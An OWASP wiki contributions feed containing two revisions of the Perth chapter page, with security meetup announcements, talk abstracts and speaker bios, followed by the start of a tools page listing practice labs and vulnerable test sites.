<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Xntrik</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Xntrik"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Xntrik"/>
		<updated>2026-04-23T23:13:41Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=192818</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=192818"/>
				<updated>2015-04-07T11:21:11Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: updated for OWASP/AISA Collab April 2015&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:david.taylor@asteriskinfosec.com.au David Taylor]&lt;br /&gt;
* Chris Arnold&lt;br /&gt;
* Pedram H|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming Events ==&lt;br /&gt;
&lt;br /&gt;
===Perth AISA/OWASP Collab!===&lt;br /&gt;
&lt;br /&gt;
====Title====&lt;br /&gt;
￼Security in a Mobile App World&lt;br /&gt;
====Speaker====&lt;br /&gt;
Christian Frichot is a founder and principal at Asterisk Information Security and one of the Perth Chapter Leads for OWASP. He has been a contributor to a number of OWASP projects for over five years and has published tools, particularly related to the Software Assurance Maturity Model. Christian spends considerable time in the OWASP’s Development Testing and Code Review guides.&lt;br /&gt;
&lt;br /&gt;
A presenter and author, Christian loves discussing security - especially its overlaps into application development.&lt;br /&gt;
&lt;br /&gt;
====Abstract====&lt;br /&gt;
One of the largest shifts in product and application development over the past few years has been the explosion of mobile apps. Like many innovations in the IT space, security can often be late to the party, and this has been similar with the growth of mobile app development. While application security professionals are now starting to get a full grasp on applying security through the systems development lifecycle, the changes that come from the mobile space push the target a step away.&lt;br /&gt;
&lt;br /&gt;
The Open Web Application Security Project (OWASP) is a not-for-profit organisation that aims to bring application security resources to the world for free. A number of OWASP projects can assist with development.&lt;br /&gt;
&lt;br /&gt;
Interested in keeping abreast of the application of security within a mobile app’s development lifecycle? Keen to get an update on OWASP? In this month's joint AISA/OWASP presentation, Christian will discuss some of the older projects that still apply in a mobile app world, and some of the newer upcoming projects&lt;br /&gt;
&lt;br /&gt;
==== Details ====&lt;br /&gt;
Date: Tuesday, 14th of April 2015&lt;br /&gt;
&lt;br /&gt;
Time: 17:15&lt;br /&gt;
&lt;br /&gt;
Location: The Ernst &amp;amp; Young Building, 11 Mounts Bay Road&lt;br /&gt;
&lt;br /&gt;
RSVP: Email [mailto:christian.frichot@owasp.org christian.frichot@owasp.org]&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== SecTalks 0x0 (November 2013) ===&lt;br /&gt;
&lt;br /&gt;
munmap - doing his best to be a corporate guy - talking about Design Flaws: Pwning easy as one, two, three!&lt;br /&gt;
&lt;br /&gt;
gman - another corporate guy - talking about Patch In The Middle: Subverting Client Upgrades&lt;br /&gt;
&lt;br /&gt;
=== Training and Meeting by Jim Manico! - Securing the SDLC (May 2013) ===&lt;br /&gt;
&lt;br /&gt;
OWASP board member and application security heavyweight Jim Manico is visiting Perth in May.  Jim has kindly offered to run a free developer training session, and to present at an OWASP Perth chapter meeting.  &lt;br /&gt;
&lt;br /&gt;
=== Secure Coding and OOAD (March 2012) ===&lt;br /&gt;
&lt;br /&gt;
Building on the OWASP secure coding priniciples, this session will introduce Robert C Martin's 5 OO principles in order to show how well designed code can help with the implementation and enforcement of secure coding principles, as well as alleviating maintenance headaches. Presented by Chris Arnold of Swiss power and ABB.&lt;br /&gt;
&lt;br /&gt;
=== Defending Web Applications (December 2011) ===&lt;br /&gt;
&lt;br /&gt;
Worried about having your site hacked? What about your Wordpress blog? David Taylor and Christian Frichot of OWASP Perth are back to talk about all things web security, and instead of spending a couple of hours trying to scare you with how to break stuff, we hope to educate you on how best to defend your web applications.&lt;br /&gt;
&lt;br /&gt;
We’ll be covering a range of defensive methods, including addressing coding vulnerabilities directly, implementing an open source HIDS, or even implementing your own 2nd factor authentication scheme utilising the Google Authenticator.&lt;br /&gt;
&lt;br /&gt;
Presented at Perth AISA's Techday 2011&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=163129</id>
		<title>Perth Australia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Perth_Australia&amp;diff=163129"/>
				<updated>2013-11-13T10:43:50Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Perth, Western Australia|extra=The chapter leaders are:&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Xntrik Christian Frichot]&lt;br /&gt;
* [mailto:david.taylor@asteriskinfosec.com.au David Taylor]&lt;br /&gt;
* Chris Arnold&lt;br /&gt;
* Pedram H|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Perth|emailarchives=http://lists.owasp.org/pipermail/owasp-Perth}}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Perth Australia&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Upcoming Events ==&lt;br /&gt;
&lt;br /&gt;
===SecTalks 0x00===&lt;br /&gt;
&lt;br /&gt;
Interested in learning about some cool technical stuff in town?&lt;br /&gt;
&lt;br /&gt;
====Speaker I====&lt;br /&gt;
munmap - doing his best to be a corporate guy&lt;br /&gt;
=====Title=====&lt;br /&gt;
Design Flaws: Pwning easy as one, two, three!&lt;br /&gt;
=====Abstract=====&lt;br /&gt;
This will be a talk around design and logic flaws vs. memory corruption bugs. Nowadays, people are more and more focused on design flaws as opposed to memory corruption bugs because of all of the defensive mechanisms in place such as DEP, ASLR, Stack and Heap Cookies, ASCII Armor, RELRO, etc. Logic and design flaw exploitation is usually a lot less time-consuming and way more reliable since attackers don't mess with all of the aforementioned mechanisms. I'll be demonstrating a real-world attack scenario against products such as [CENSORED], chaining multiple design and logic flaws in order to achieve full system compromise.&lt;br /&gt;
&lt;br /&gt;
====Speaker II====&lt;br /&gt;
gman - another corporate guy&lt;br /&gt;
=====Title=====&lt;br /&gt;
Patch In The Middle: Subverting Client Upgrades&lt;br /&gt;
=====Abstract=====&lt;br /&gt;
Man in the middle proofs of concept often focus on stealing credentials, but a well implemented MITM on an untrusted network opens up a number of other interesting possibilities, particularly with regards to data tampering. You may have seen for example pranks with a MITM proxy where all website images are replaced with (lets say) lolcats, and perhaps using SSL and not trusting bogus certs or unknown SSH host fingerprints may mitigate this to an extent, but how about applications which aren't as paranoid as we are? Plenty of apps have auto update functionality, but how trusting are they with regards to the patches they download? In this session I take a look at the a client MITM attack framework 'Evilgrade' which is designed to subvert the auto-update function on a number of common apps, including Skype, Winamp, Virtualbox and others.&lt;br /&gt;
&lt;br /&gt;
=== Details ===&lt;br /&gt;
Date: Thursday the 14th of November, 2013&lt;br /&gt;
&lt;br /&gt;
Time: 18:00 (Aim for 5.30 - 5.45 arrival)&lt;br /&gt;
&lt;br /&gt;
Location: Conference room, Level 4, 16 St Georges Tce&lt;br /&gt;
&lt;br /&gt;
Beer Venue: Canton Bar, 532 Hay St, Perth&lt;br /&gt;
&lt;br /&gt;
== Previous OWASP Meetings ==&lt;br /&gt;
&lt;br /&gt;
=== Training and Meeting by Jim Manico! - Securing the SDLC (May 2013) ===&lt;br /&gt;
&lt;br /&gt;
OWASP board member and application security heavyweight Jim Manico is visiting Perth in May.  Jim has kindly offered to run a free developer training session, and to present at an OWASP Perth chapter meeting.  &lt;br /&gt;
&lt;br /&gt;
=== Secure Coding and OOAD (March 2012) ===&lt;br /&gt;
&lt;br /&gt;
Building on the OWASP secure coding priniciples, this session will introduce Robert C Martin's 5 OO principles in order to show how well designed code can help with the implementation and enforcement of secure coding principles, as well as alleviating maintenance headaches. Presented by Chris Arnold of Swiss power and ABB.&lt;br /&gt;
&lt;br /&gt;
=== Defending Web Applications (December 2011) ===&lt;br /&gt;
&lt;br /&gt;
Worried about having your site hacked? What about your Wordpress blog? David Taylor and Christian Frichot of OWASP Perth are back to talk about all things web security, and instead of spending a couple of hours trying to scare you with how to break stuff, we hope to educate you on how best to defend your web applications.&lt;br /&gt;
&lt;br /&gt;
We’ll be covering a range of defensive methods, including addressing coding vulnerabilities directly, implementing an open source HIDS, or even implementing your own 2nd factor authentication scheme utilising the Google Authenticator.&lt;br /&gt;
&lt;br /&gt;
Presented at Perth AISA's Techday 2011&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ - The Sequel (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
Missed the 2010 AISA Techday session? Haven't made it out to an OWASP event lately? David and Christian are happy to be presenting their updated presentation, including live demos, on the impacts of web application security vulnerabilities at the upcoming Australia / New Zealand Testing Board (ANZTB) SIGIST meeting!&lt;br /&gt;
&lt;br /&gt;
=== Cross-site scripting: You don’t always know who the actors are (May 2011) ===&lt;br /&gt;
&lt;br /&gt;
So the time has come. Your company has finally approved the project to update your online web presence. A brand new, whiz-bang Content Management System is being deployed and your developers are frantically coding away to prepare a whole batch of fresh new content. Before you realise it, the delivery date is a week away and you have some security guy screaming at you about cross-site scripting issues!&lt;br /&gt;
&lt;br /&gt;
Cross-site scripting? So what.&lt;br /&gt;
&lt;br /&gt;
Does this experience sound familiar to you?&lt;br /&gt;
&lt;br /&gt;
In this session Christian Frichot will spend some time dissecting this common web application vulnerability, and just how serious its impacts can be. Exploitation of cross-site scripting is no longer just within the realm of nerdy, hacker types, new (and old) tools out there allow this trivial vulnerability to be used for so much more, including keystroke logging, and even forcing your iPhone to dial a number via Skype. For those facing these issues there are plenty of resources which can help, and Christian will cover these as well.&lt;br /&gt;
&lt;br /&gt;
=== How minor vulnerabilities can do ‘very bad things’ (December 2010) ===&lt;br /&gt;
&lt;br /&gt;
The Perth branch of the Australian Information Security Association is pleased to announce details for the second annual Perth AISA Tech day to be held on the 3rd December. This year we are holding the event in the heart of Perth’s CBD thanks to proud AISA supporters L7 Solutions.&lt;br /&gt;
&lt;br /&gt;
Appearing for their second consecutive year, regular AISA and OWASP members Christian and David are following on from last year’s topic. Last year you will remember that the demonstrated a number of classes of vulnerabilities in web applications (XSS, CSRF, SQL Injection etc.). This year they are going to show how relatively minor vulnerabilities can be exploited and leveraged to do ‘very bad things’ ™ to the client browser, the web server or both. &lt;br /&gt;
&lt;br /&gt;
This session will include demonstrations of the BeEF browser exploitation framework and Metasploit.&lt;br /&gt;
&lt;br /&gt;
=== Web Application (In)Security Brief - Injection (September 2010) ===&lt;br /&gt;
&lt;br /&gt;
Having recently run training sessions on web application security for SyScan'10 and Blackhat, we're lucky enough to have Wade Alcorn from NGS to give a brief presentation on &amp;quot;Exploiting and discovering injection&amp;quot; for September's Perth OWASP Meeting. Come on up to Level 46 of the Bankwest Tower to join us discuss web application security with Wade and others. Please RSVP to ensure appropriate seating arrangements and we're hoping to then shift off to the Generous Squire for a quick beverage afterwards!&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
&lt;br /&gt;
Wade Alcorn has experience in numerous aspects of offensive information security assessments. This ranges from bluetooth, reverse engineering and web application assessments to managing large teams of security professionals. Prior to joining NGS, Wade had been responsible for cutting-edge PKI and VPN development using technologies including C/C++ and Java. He has presented at conferences including BlackHat and AusCERT.&lt;br /&gt;
&lt;br /&gt;
=== Security Event and Incident Management&amp;quot; Panel Session (Perth AISA August 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=301 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
Log management is a necessary task in Security Management, but is often neglected. There are various pressures being placed on businesses, such as audit and compliance, industry standards (eg PCI, APRA), internal security maturity which have allowed organisations to understand the benefits to be gained from undertaking a SEIM project.&lt;br /&gt;
&lt;br /&gt;
There are many options for organisations looking to develop log management and security incident response processes, which range from open source syslog solutions, through to vendor supplied SEIM products and cloud based monitoring solutions.&lt;br /&gt;
&lt;br /&gt;
A panel selected from a variety of industries including representation from security consulting, corporate and vendor will discuss the considerations, options and benefits of employing SEIM technology and processes.&lt;br /&gt;
&lt;br /&gt;
We were fortunate to have Joshua Qwek, one of Perth's OWASP chapter lead, participate in this panel.&lt;br /&gt;
&lt;br /&gt;
=== How mature is your software security process? (Perth AISA May 2010) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.aisa.org.au/index.php?page=287 AISA Details] ====&lt;br /&gt;
&lt;br /&gt;
As the security industry continues to change its focus to application &lt;br /&gt;
security a lot of companies who rely on software, developed either &lt;br /&gt;
internally or externally, are wondering what they can do reduce the risk &lt;br /&gt;
of security flaws. &lt;br /&gt;
&lt;br /&gt;
Microsoft's Security Development Lifecycle (SDL) model can look &lt;br /&gt;
appealing, however without a clear understanding of what your software &lt;br /&gt;
security processes look like, it may be difficult to achieve any real &lt;br /&gt;
improvements. &lt;br /&gt;
&lt;br /&gt;
Implementing a holistic end-to-end software security process can often &lt;br /&gt;
look like an impossible task, and while the end picture resembles Eden, &lt;br /&gt;
it's often the first steps that everyone stumbles on. As the saying goes &lt;br /&gt;
&amp;quot;You can't manage what you can't measure&amp;quot;, and without a clear &lt;br /&gt;
understanding of what your software security processes look like now it's &lt;br /&gt;
unlikely that you can achieve any real improvements. &lt;br /&gt;
&lt;br /&gt;
OWASP's Open Software Assurance Maturity Model, or OpenSAMM, aims &lt;br /&gt;
to assist organisations, both big and small, in evaluating their existing &lt;br /&gt;
software security practices and constructing a measurable, balanced &lt;br /&gt;
program to increase their software security. &lt;br /&gt;
&lt;br /&gt;
Wondering how this can help your internal development processes? Want &lt;br /&gt;
to have a more rigid process to audit your externally developed software &lt;br /&gt;
processes? Then perhaps OWASP's OpenSAMM project can assist.&lt;br /&gt;
&lt;br /&gt;
This meeting will be co-hosted by both the local AISA chapter and the Perth OWASP chapter.&lt;br /&gt;
&lt;br /&gt;
=== Perth OWASP - Perth AISA Technical Day (Dec 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== [http://www.owasp.org/index.php/File:AISA_Perth_TSD_2009_Brochure_-Final.pdf Brochure] ====&lt;br /&gt;
&lt;br /&gt;
The local OWASP boys will be whipping out their flux capacitor to fit as much information as they possibly can into a 2 hour jam-packed session on web app security testing. By providing a flyby of the OWASP Testing Guide, David and Christian aim to demonstrate and explain how to detect security vulnerabilities in your own web applications, including: Cross Site Scripting; Injection Flaws; Cross Site Request Forgery and Session Management Flaws.&lt;br /&gt;
&lt;br /&gt;
Demonstrations will utilise a number of open source and freely available tools, including OWASP's own WebScarab. To provide a yoga-like flexibility to the session all materials and testing environments (an Ubuntu wrapped VMware virtual machine) will be provided to attendees, allowing you to either chase us rapidly down the rabbit hole of the OWASP Top 10, or to take your own time after the session...&lt;br /&gt;
&lt;br /&gt;
The perfect way to spend a lazy Sunday afternoon.&lt;br /&gt;
&lt;br /&gt;
=== Web-based Malware (Sep 2009) ===&lt;br /&gt;
&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Shlomi Cohen joined IBM with the Watchfire acquisition at August 2007.&lt;br /&gt;
Over nine years of experience in web application security in both start-ups and established companies. Emphasis in strategic selling, sales consulting, technical sales and management.&lt;br /&gt;
* Leading the Security solution on the WW Rational Tiger sales team&lt;br /&gt;
* Work with the customers and the local sales team to form the right security solution&lt;br /&gt;
* Development of sale process for multiple products&lt;br /&gt;
* Working closely with customers and the product management team in driving the products roadmaps&lt;br /&gt;
* Assisting IBM’s growth in acquisition portfolio&lt;br /&gt;
&lt;br /&gt;
Previous to the WW Rational Security Solution leader:&lt;br /&gt;
* Managing the technical sales team for Watchfire in the Americas group of IBM&lt;br /&gt;
* Watchfire Security Research team manager - A team responsible for various web application security aspects including web application vulnerability research, security product rule updates, enhanced security feature definition, security audits, customer support, marketing and sales assistance&lt;br /&gt;
* AppShield Development Manager - Managed the development and QA teams for the AppShield product - a client Server Web Application Firewall&lt;br /&gt;
&lt;br /&gt;
=== Threat Modelling in the Software Development Lifecycle (Feb 2009) ===&lt;br /&gt;
&lt;br /&gt;
One of the most important concepts being promoted in the security industry is security in the software development lifecycle. This concept is important due to two primary factors:&lt;br /&gt;
* It is generally recognised that by shifting security activities closer towards the requirements gathering stage, or the design stage, that less vulnerabilities will make their way into the production systems.&lt;br /&gt;
* It is also recognised that the cost of mitigating vulnerabilities increases later in the lifecycle.&lt;br /&gt;
By walking through a case study I hope to demonstrate the effectiveness of addressing risk during the earlier stage of the software development lifecycle, and that these activities are not solely the responsibility of the &amp;quot;security guy&amp;quot;, but all participants in a software project including the project manager, business stakeholders and software designer.&lt;br /&gt;
==== About the presenter ====&lt;br /&gt;
Christian Frichot is currently employed by Bankwest working within the Security Consulting Services team. His core responsibilities include phishing and online fraud response, security assessments, information risk assessments and other ad-hoc information security consulting. Christian hopes to spend more time in '09 focusing on education and application security, where he feels more effort needs to be applied.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Xntrik</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Phoenix/Tools&amp;diff=142061</id>
		<title>Phoenix/Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Phoenix/Tools&amp;diff=142061"/>
				<updated>2013-01-09T12:22:39Z</updated>
		
		<summary type="html">&lt;p&gt;Xntrik: Updated link to beef&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Please send comments or questions to the [https://lists.owasp.org/mailman/listinfo/owasp-phoenix Phoenix-OWASP mailing-list].&lt;br /&gt;
&lt;br /&gt;
=Testing grounds=&lt;br /&gt;
==LiveCDs==&lt;br /&gt;
OWASP Live CD - http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project &amp;lt;br /&amp;gt;&lt;br /&gt;
Web Security Dojo - http://dojo.mavensecurity.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Samurai WTF - http://samurai.inguardians.com&amp;lt;br /&amp;gt;&lt;br /&gt;
DVL (Damn Vulnerable Linux) - http://www.damnvulnerablelinux.org/&amp;lt;br /&amp;gt;&lt;br /&gt;
moth - http://www.bonsai-sec.com/en/research/moth.php&amp;lt;br /&amp;gt;&lt;br /&gt;
OWASP Broken Web Applications - http://code.google.com/p/owaspbwa/&amp;lt;br /&amp;gt;&lt;br /&gt;
Hacking-Lab Live CD - https://www.hacking-lab.com/Remote_Sec_Lab/livecd.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Test sites==&lt;br /&gt;
SPI Dynamics (live) - http://zero.webappsecurity.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Cenzic (live) - http://crackme.cenzic.com/&amp;lt;br /&amp;gt;&lt;br /&gt;
Watchfire (live) - http://demo.testfire.net/&amp;lt;br /&amp;gt;&lt;br /&gt;
Acunetix (live) - http://testphp.acunetix.com/ http://testasp.acunetix.com http://testaspnet.acunetix.com&amp;lt;br /&amp;gt;&lt;br /&gt;
WebMaven / Buggy Bank - http://www.mavensecurity.com/webmaven&amp;lt;br /&amp;gt;&lt;br /&gt;
Foundstone SASS tools - http://www.foundstone.com/us/resources-free-tools.asp&amp;lt;br /&amp;gt;&lt;br /&gt;
Updated HackmeBank - http://www.o2-ounceopen.com/technical-info/2008/12/8/updated-version-of-hacmebank.html&amp;lt;br /&amp;gt;&lt;br /&gt;
OWASP WebGoat - http://www.owasp.org/index.php/OWASP_WebGoat_Project&amp;lt;br /&amp;gt;&lt;br /&gt;
OWASP SiteGenerator - http://www.owasp.org/index.php/Owasp_SiteGenerator&amp;lt;br /&amp;gt;&lt;br /&gt;
Stanford SecuriBench - http://suif.stanford.edu/~livshits/securibench/&amp;lt;br /&amp;gt;&lt;br /&gt;
SecuriBench Micro - http://suif.stanford.edu/~livshits/work/securibench-micro/&amp;lt;br /&amp;gt;&lt;br /&gt;
Google’s web application training - http://jarlsberg.appspot.com/part1/ &amp;lt;br /&amp;gt;&lt;br /&gt;
OWASP TOP 10 LAB (Online) - https://www.hacking-lab.com/Remote_Sec_Lab/free-owasp-top10-lab.html &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=External Assessment=&lt;br /&gt;
==Browser==&lt;br /&gt;
===Add-ons for Firefox that help with general web application security===&lt;br /&gt;
